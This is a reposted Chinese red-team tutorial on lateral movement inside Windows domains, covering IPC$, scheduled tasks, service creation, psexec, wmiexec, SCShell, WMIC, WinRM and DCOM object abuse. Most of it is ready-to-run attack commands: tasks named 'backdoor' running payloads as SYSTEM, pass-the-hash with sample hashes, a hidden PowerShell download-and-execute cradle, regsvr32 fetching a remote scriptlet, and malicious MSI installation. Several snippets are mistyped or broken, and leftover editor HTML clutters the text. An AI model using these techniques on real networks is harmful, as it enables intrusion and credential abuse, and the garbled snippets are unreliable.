|
红队技巧-常规横向手法潇湘信安 今天
以下文章来源于Gamma实验室 ,作者0xAXSDD
Gamma实验室
Gamma实验室是专注于网络安全攻防研究的实验室,不定时向外输出技术文章以及自主研发安全工具,技术输出不限于:渗透,内网,红队,免杀,病毒分析,逆向,ctfwp等,实验室只用于技术研究,一切违法犯罪与实验室无关!
前言
域内横向移动技术是红队作战在域内最基本技术之一,红队人员会利用该技术,以被攻陷的系统为跳板,通过已经收集的凭据和密码,来访问域内其他主机,扩大战果,最终目的是获取到dc的访问控制权限。
实操
1.ICP
Ipc(共享命名管道),其作用是为了实现进程间通信而开放的命名管道。ipc可以通过用户名和密码建立ipc链接,获取相应的用户权限。
目标机应开放139和445端口,以支持实现远程登陆和默认共享资源的访问
首先需要在跳板机和目标机建立ipc连接
- <pre><code>#建立ipc连接</code><code>net use \\192.168.75.131\ipc$ "123456" /user:administrator</code></pre><pre><code>#查看当前ipc连接:</code><code>net use</code></pre>
复制代码
然后执行命令:
- dir \ \\192.168.75.131\c$
复制代码
当然有了权限,当然得拿shell了
1.1 at计划任务拿shell(管理员权限)
因为要设置计划任务,可能需要对照时间,当然你如果想每分钟就执行一次,就当我没说。
- net time \\\192.168.75.131#当前系统时间
复制代码
复制文件到目标机上:
- <code>copy Gamma.bat \\\192.168.75.131\c$</code><code>#bat里面放入反弹shell的powershell命令,或者什么</code>
复制代码
在目标主机上创建用户:
- at \\\192.168.75.131\ 5:00PM c:\Gamma.bat Added a new job with job ID=10
复制代码
反弹成功后记得清除计划任务
- at \\\192.168.75.131 10 /delete
复制代码
1.2 Schtasks
at 命令在windows2008以后的版本被废除了,这时候就用schtasks命令来代替
还是老规矩上传脚本到服务器,或者你直接上传木马也行的。
然后创建计划任务
- Schticks /create /s 192.168.75.131 /tn Gamma /sc onstart /tr c:\gamma.exe /ru system /f
复制代码
但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:
- <pre data-cke-widget-data="{"code":"schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\\shell.exe /ru system /f","classes":[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="codeSnippet" class="cke_widget_element"><code class="hljs">schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f</code></pre><span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.6.19/ckeditor/plugins/widget/images/handle.png)"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" width="15" title="点击并拖拽以移动" height="15" role="presentation"></span>
复制代码
然后执行如下命令立即运行该计划任务(也可以自己等一分钟):
- <pre><code>schtasks /run /s 192.168.75.131 /i /tn backdoor</code></pre><pre><code>// i:忽略任何限制立即运行任务</code>schtasks /run /s 192.168.183.130 /i /tn backdoor /u administrator /p 0XAXSDD // 遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码</pre>
复制代码
1.3 创建Windows服务来进行横向渗透
依赖条件:
- 当前跳板机用户具有管理员权限(因为要创建服务)。
- 与目标机器已经建立ipc连接
利用 sc 命令
在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透
使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。
流程基本如下:
1. 先让跳板机与内网目标机DC建立ipc连接。
2. 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件Gamma.exe复制到目标主机DC系统C盘中。
3. 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
- <code>sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序</code>
- <code>sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\Gamma.exe"</code>
复制代码
4.立即启动该服务:
- sc \\WIN-ENS2VR5TR3N start bindshell
复制代码
5.使用完后删除刚才创建的服务
- sc \\[host] delete [servicename]
复制代码
1.4 工具
PSEXEC:
· Msf windows/smbexec
· Msf admin/smbexec_command
· Impacket psexec
需要远程系统开启admin$(打了kb2871997情况下)共享,建立IP超链接后可以不指定用户名和密码,不能仅拷贝文件不执行,拷贝时可以建立ipc连接后拷贝在启动psexec建立连接后,远程系统上会被安装psexecsvc服务,安装服务会留下日志。
执行原理:
1.通过ipc$连接,copy psexecsvc.exe到目标机器
2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。
4.运行完后删除服务。
使用:
第一步先建立ipc共享
第二步使用psexec进入半交互式shell
- psexec.exe \\\192.168.0.1 cmd
复制代码
可以直接一步搞定
- psexec.exe \\10.10.10.10 –u administrator –p password
复制代码
wmiexec
· Impacket wmiexec
· Powershell Invoke-WMIExec
· pth-wmic
· exe
wmi全称是Windows management instrumentation,它出现在所有的Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,但Windows系统默认不会再日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。
而wmiexec是模拟psexec功能的vbs脚本
执行原理:
1.WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机。
2.如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。
3.WMI会建立一个共享文件夹,用于远程读取命令执行结果。
4.当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。
5.通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。
6.当结果读取完成时,调用WMI执行命令删除结果文件,最后当WMIEXEC退出时,删除文件共享。
使用:
获取半交互式shell
- <pre><code>cscript.exe wmiexec.vbs /shell 192.168.75.1 username password</code></pre><pre><code>cscript.exe wmiexec.vbs /shell 192.168.75.1 doamin\username password</code></pre>
复制代码
直接执行命令:
- cscript.exe wmiexec.vbs /cmd 192.168.75.1username password “whoami”
复制代码
如果只拿到hash情况下:
- <pre><code>cscript.exe wmiexec -hashes :$HASH$ hostname/administrator@192.168.75.131</code></pre><pre><code>cscript.exe wmiexec -hashes :$HASH$ domain/administrator@192.168.75.131 "whoami"</code></pre><pre><code>cscript.exe wmiexec -hashes :$HASH$ administrators@192.168.75.131 "whoami"</code></pre>
复制代码
如果你嫌弃每次都要输入hash密码很麻烦,你可以用wce 将hash注入到本地的认证进程lsass.exe中去,然后直接:
- wmiexec.vbs /shell 192.168.75.131
复制代码
SCShell
SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令,该工具的优点在于它不会针对SMB执行身份验证,一切都通过DCERPC执行,无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称,支持py和exe两种文件类型)。
github地址:https://github.com/Mr-Un1k0d3r/SCShell
- <code>Usage:</code><code>SCShell.exe target service payload domain username password</code>
复制代码
远程执行:
- <pre><code>SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password</code>
- <code>#依赖:pip install impacket</code></pre><pre><code>python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce</code></pre><pre><code>Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation</code>
- <code>#使用标准传递哈希方法设置当前流程令牌。</code></pre><pre><code>sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe</code></pre>
复制代码
2.WMI
WMI是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特WMI允许脚本语言(例如VBScript或Windows PowerShell)在本地和远程管理Microsoft Windows 个人计算机和服务器,支持账户密码或hash认证。
利用条件
1.目标开放135端口
2.1 wmic
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。
这种方式执行命令无回显,但用来执行木马搓搓有余。
- wmic /node:192.168.75.131 /user:administrator /password:123456 process call create "c:\windows\temp\Gamma.exe"
复制代码
执行powershell远程下载木马执行:
- <pre data-cke-widget-data="{"code":"wmic /NODE:192.168.75.131/user:\"administrator\" /password:\"123456\" process call create \"powershell.exe -nop -w hidden -c \\\"IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))\\\"\"","classes":[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="codeSnippet" class="cke_widget_element"><code class="hljs">wmic /NODE:192.168.75.131/user:"administrator" /password:"123456" process call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))""</code></pre><span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.6.19/ckeditor/plugins/widget/images/handle.png)"></span>
复制代码
如果要使用hash,直接wce注入到当前内存就行
还可以通过生成恶意的msi文件,通过共享上传到目标机器,然后安装
- <pre data-cke-widget-data="{"code":"net use \\\\\\192.168.1.105\\c$ /user:administrator@ignite.local; copy C:\\raj.msi \\\\192.168.1.105\\c$\\PerfLogs\\setup.msi ; wmic /node:192.168.1.105 /user:administrator@ignite.local product call install PackageLocation=c:\\PerfLogs\\setup.msi","classes":[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="codeSnippet" class="cke_widget_element"><code class="hljs">net use \\\192.168.1.105\c$ /user:administrator@ignite.local; copy C:\raj.msi \\192.168.1.105\c$\PerfLogs\setup.msi ; wmic /node:192.168.1.105 /user:administrator@ignite.local product call install PackageLocation=c:\PerfLogs\setup.msi</code></pre><span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.6.19/ckeditor/plugins/widget/images/handle.png)"></span>
复制代码
2.2 工具
WMIcmd(主要用于工作组横向移动)
WMIcmd需使用 -d 参数指定域或计算机名WMIcmd需使用 -d 参数指定域或计算机名
- WMIcmd.exe -h 192.168.75.131 -u administrator -p 123456 -d Gamma -c "ipconfig"
复制代码
Invoke-WMIExec.ps1
- <pre><code>Invoke-WMIExec -Target 192.168.75.131 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0</code></pre><pre><code>Invoke-WMIExec -Target 192.168.75.131 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command" -verbose</code></pre>
复制代码
wmiexec.py
- <pre><code>#工作组</code></pre><pre><code>python wmiexec.py -hashes 518b98ad4178a53695dc997aa02d455c administrator@1192.168.75.131 "whoami" </code></pre><pre><code>#域用户</code></pre><pre>python wmiexec.py -hashes 518b98ad4178a53695dc997aa02d455c 域名/administrator@192.168.75.131 "whoami"</pre>
复制代码
3.winRM
WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。
winRM的默认端口为5985(http)或5986(https)。
利用条件:
1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对5986、5985端口开放。
3、被横行主机信任网络中的主机(Set-Item WSMan:localhost\client\trustedhosts -value *,或直接指定信任单个主机)
查看本地是否运行winRM服务
- <code>netstat -ano |findstr 5985</code><code>Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}</code>
复制代码
检测哪些主机被信任:
- Get-Item WSMan:\localhost\Client\TrustedHosts
复制代码
利用powershell对主机建立PSRemoting会话
- <pre><code>#powershell</code></pre><pre><code>New-PSSession -ComputerName hostname -Credential (Get-Credential)</code></pre><pre><code>#或者直接命令</code></pre><pre><code>Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}</code></pre><pre><code>#如果当前内存中没有凭证,则可以输入凭证</code></pre><pre><code>Enter-PSSession <host> -Credential <domain>\<user></code></pre><pre><code>#使用kerberos协议认证</code></pre><pre><code>Enter-PSSession <host> -Authentication Kerberos</code></pre><pre><code>#上传文件</code></pre><pre><code>Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)</code></pre><pre><code>#下载文件</code></pre><pre><code>Copy-Item -Path C:\Users\Administrator\Desktop\111.txt -Destination C:\Temp\ -FromSession (Get-PSSession)</code></pre><pre><code>#</code><code>进入会话</code></pre><pre><code>Enter-PSSession 1</code></pre>
复制代码
1.使用winrs.exe来执行远程命令利用(使用这个工具需要明文密码)
Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户。命令支持各种开关以及使用备用凭据进行身份验证的能力。
- winrs /r:https://contoso.com /t:600 /u:administrator /p:$%fgh7 ipconfig
复制代码
2.Winrm.vbs(通过Winrm.cmd调用)
Winrm.vbs是一个Visual Basic脚本,允许管理员“配置WinRM并获取数据或管理资源”
是基于WinRM脚本API,而这个api使我们使能够从远程计算机执行WS-Management协议操作和获得数据。
我们可以利用一个非常著名的WMI类,Win32_Process,可通过利用来生成(远程)进程执行命令。
- winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad"} -r:corp-dc
复制代码
3.上线cs
在cs中有winrm的横向方法,利用成功会自动返回一个会话,当然如果不出网的话我们就需要借助cs中的一个中转手法。
| winrm x86 Run a PowerShell script via WinRM |
| winrm64 x64 Run a PowerShell script via WinRM | 无法访问的情况
WinRM服务将在Windows Server 2008和更高版本上自动启动(在Windows Vista中,需要手动启动该服务)。
默认情况下,未配置WinRM侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。
Internet连接防火墙(ICF)阻止访问端口。
4.使用COM对象进行横向
DCOM是[COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx)(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法,就像使用基于DCERPC的DCOM协议在本地计算机上的对象一样,有关每个COM(和DCOM)对象的标识,实现和配置的信息存储在注册表中,并与一些重要的标识符相关联:
- <pre><code>CLSID -所述类标识符是一个GUID,它充当一个COM类的唯一标识符,并且每一个在Windows注册类与CLSID相关联(COM对象可以在没有登记使用,但是这超出了本文的范围) 。注册表中的CLSID密钥指向类的实现,如果是基于dll的对象,则使用InProcServer32子项;如果是exe ,则使用LocalServer32项。</code></pre><pre><code>ProgID -该编程标识符是一个可选的标识符,其可被用作对用户更友好的替代一个CLSID,因为它不必是一定要GUID格式(“System.AppDomainManager”,例如,是比GUID容易得多)。ProgID不能保证是唯一的,并且与CLSID不同,并非每个类都与ProgID相关联。</code></pre><pre><code>AppID -该应用程序标识符用于指定一个的配置或多个COM对象与同一可执行相关联。这包括授予各个组的权限,以在本地和远程实例化和访问关联的类</code></pre>
复制代码
为了使DCOM可访问COM对象,必须将AppID与该类的CLSID关联,并且需要为该AppID提供适当的权限。没有关联的AppID的COM对象不能从远程计算机直接访问。
在powershell中我们可以使用
- get-CimInstance来列出本地COM程序列表
复制代码
远程DCOM对象的实例表现如下:
客户端计算机从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID,则首先将其本地解析为CLSID。远程计算机检查是否存在与所讨论的CLSID关联的AppID,并验证客户端的权限。如果一切顺利,则DCOMLaunch服务将创建所请求类的实例,通常是通过运行LocalServer32子项的可执行文件,或者通过创建DllHost进程来承载InProcServer32子项引用的dll。在客户端应用程序和服务器进程之间建立通信。在大多数情况下,新过程是在与DCOM通信关联的会话中创建的。然后,客户端可以访问新创建的对象的成员和方法。利用思路就是找到一些默认权限(DefaultLaunchPermission)的COM程序来进行利用
1.使用EXCEL DDEß
利用:
第一步,创建对象的实例,使用ProgID
- $a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.75.130"))
复制代码
第二步,实现执行命令:
- <pre><code>$a.DisplayAlerts = $false //DisplayAlerts属性控制DDEInitiate提出的警报。false为关</code></pre><pre><code>$a.DDEInitiate("cmd","/c calc,exe")</code></pre>
复制代码
2.MMC20.APPLICATION
创建MMC20.Application 对象的实例:
- <pre data-cke-widget-data="{"code":"[activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.application\" ,\"192.168.75.130\")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,\"/c calc.exe\",\"Restored\")","classes":[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="codeSnippet" class="cke_widget_element"><code class="hljs">[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,"192.168.75.130")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")</code></pre><span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.6.19/ckeditor/plugins/widget/images/handle.png)"></span>
复制代码
3.SHELLWINDOWS
创建ShellWindows对象的实例:
- $a = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.75.130")) | Get-member
复制代码
使用“ Document.Application”属性的“ ShellExecute”方法运行任意命令:
- <pre data-cke-widget-data="{"code":"$a = [activator]::CreateInstance([type]::GetTypeFromCLSID(\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\",\"192.168.75.130\")).Document.Application.ShellExecute(\"cmd.exe\",\"/c clac.exe\".\"c:\\windows32\\system\",$null,0)","classes":[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="codeSnippet" class="cke_widget_element"><code class="hljs">$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.75.130")).Document.Application.ShellExecute("cmd.exe","/c clac.exe"."c:\windows32\system",$null,0)</code></pre><span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.6.19/ckeditor/plugins/widget/images/handle.png)"></span>
复制代码
说明:
与大多数其他方法不同,ShellWindows不会创建进程。相反,它会激活现有explorer.exe进程内部的类实例,该进程执行子进程。为了进行通信,主机explorer.exe在DCOM端口上打开了一个侦听套接字,该套接字应明确标记此技术。
4.SHELLBROWSERWINDOW
首先创建ShellBrowserWindow对象的实例:
复制GUID
- $a = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.75.130"))
复制代码
我们再次能够通过“ Document.Application”属性的“ ShellExecute”方法运行命令:
- $a = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.75.130")).Document.Application.shellExecute("calc.exe")
复制代码
与ShellWindows一样,此方法由现有的explorer.exe进程托管,再次具有带有监听套接字的explorer.exe进程的指示器。
5.VISIO ADDON EXECUTION
虽然不是默认Office安装的一部分,因此没有普及,但Visio提供了可用于横向移动的DCOM对象。
创建Visio对象的实例。这可以通过Visio.Application ProgID或通过Visio.InvisibleApp ProgID完成:
这里使用的是ProgID
- $a = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.75.130"))
复制代码
Visio插件可以实现为独立进程,并且Visio允许将任何可执行文件作为自定义插件加载。这可以用来执行命令:
- $a = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.75.130")).[0].document.app;ication.shellExecute("calc")
复制代码
注意:
目标主机中安装有Visio才能成功利用。
6.Outlook
在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上的COM对象进行交互,这些对象通常不会由DCOM公开。
创建Outlook对象的实例
- $a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130"))
复制代码
可以通过通过Outlook创建Shell.Application对象来实现命令行执行:
- <pre><code>$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130")) .createObject("Shell.Application")</code></pre><pre><code>$a.shellExecute(calc.exe)</code></pre>
复制代码
该命令作为Outlook的直接子进程运行。
注意:
可以将“ Shell.Application”(已加载的shell32.dll中实现)对象替换为“ Wscript.Shell”.
7.Excel XLL (Excel进程加载恶意的DLL)
XLL库可以扩展Excel,XLL库只是导出特定功能的DLL。Excel.Application对象通过RegisterXLL方法利用此功能。
- $a = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","192.168.75.130")) .RegisterXLL("我们的恶意DLL路径")
复制代码
8.任意脚本执行
通过CreateObject和ScriptControl执行OutlookScript
使用Outlook访问ScriptControl COM类,攻击者(我们)可以利用该字符串运行以字符串格式提供的脚本:
- <pre><code>$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130")) .CreateObject("b")</code></pre><pre><code>$b.language = "VBScript"</code></pre><pre><code>$b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')</code></pre>
复制代码
ScriptControl对象是在msscript.ocx中实现的,很少使用,并且合法地加载此对象的Outlook实例是极为罕见的现象。此外,我们可以将加载jscript.dll或vbscript.dll来运行脚本本身。
限制:
ScriptControl对象仅在32位版本中可用。由于64位进程无法加载32位inproc对象,因此64位Outlook无法与该对象进行交互。
Visio对象提供了一种直接方法,可以使用“ ExecuteLine”方法从字符串运行VBA的任何代码:
- <pre><code>$a = [activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","192.168.75.130"))</code></pre><pre><code>$b = $a.documents.Add("")</code></pre><pre><code>$b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')</code></pre>
复制代码
VBE7.dll和ScrRun.dll已加载到Visio进程中
注意:
ExecuteLine方法仅允许执行一行代码。通过使用冒号(符号将语句分隔在一行上,可以绕过此操作。
|
|